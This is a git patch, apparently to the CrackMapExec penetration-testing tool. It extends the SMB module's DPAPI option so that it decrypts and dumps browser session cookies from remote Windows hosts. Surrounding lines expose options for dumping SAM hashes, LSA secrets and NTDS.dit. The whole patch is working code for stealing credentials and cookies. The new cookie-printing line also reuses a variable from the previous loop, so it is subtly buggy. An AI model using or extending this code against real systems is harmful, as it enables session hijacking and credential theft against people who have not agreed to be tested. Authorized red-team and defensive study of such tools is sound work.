From 602e7bb020208a80c2bf64c6803075273c6413fa Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 19 Feb 2023 15:35:37 -0500 Subject: [PATCH] add option to dump cookie dpapi --- cme/protocols/smb.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 4f6914a7..ef205141 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -173,7 +173,7 @@ class smb(connection): cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") - cegroup.add_argument("--dpapi", action='store_true', help='dump DPAPI secrets from target systems') + cegroup.add_argument("--dpapi", choices={'password', 'cookies'}, nargs='?', const='password', help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)') #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') @@ -1271,16 +1271,21 @@ class smb(connection): for credential in system_credentials: self.logger.highlight("[SYSTEM][CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password)) - try: # Collect Chrome Based Browser stored secrets + dump_cookies = True if self.args.dpapi == "cookies" else False browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) - browser_credentials, _ = browser_triage.triage_browsers() + browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: self.logger.debug("Error while looting browsers: {}".format(e)) for credential in browser_credentials: self.logger.highlight("[%s][%s] %s %s:%s" % (credential.winuser, credential.browser.upper(), credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password)) - + if dump_cookies: + self.logger.info("Start Dumping Cookies") + for cookie in cookies: + self.logger.highlight("[%s][%s] %s%s - %s:%s" % (credential.winuser, cookie.browser.upper(), cookie.host, cookie.path, cookie.cookie_name, cookie.cookie_value)) + self.logger.info("End Dumping Cookies") + try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)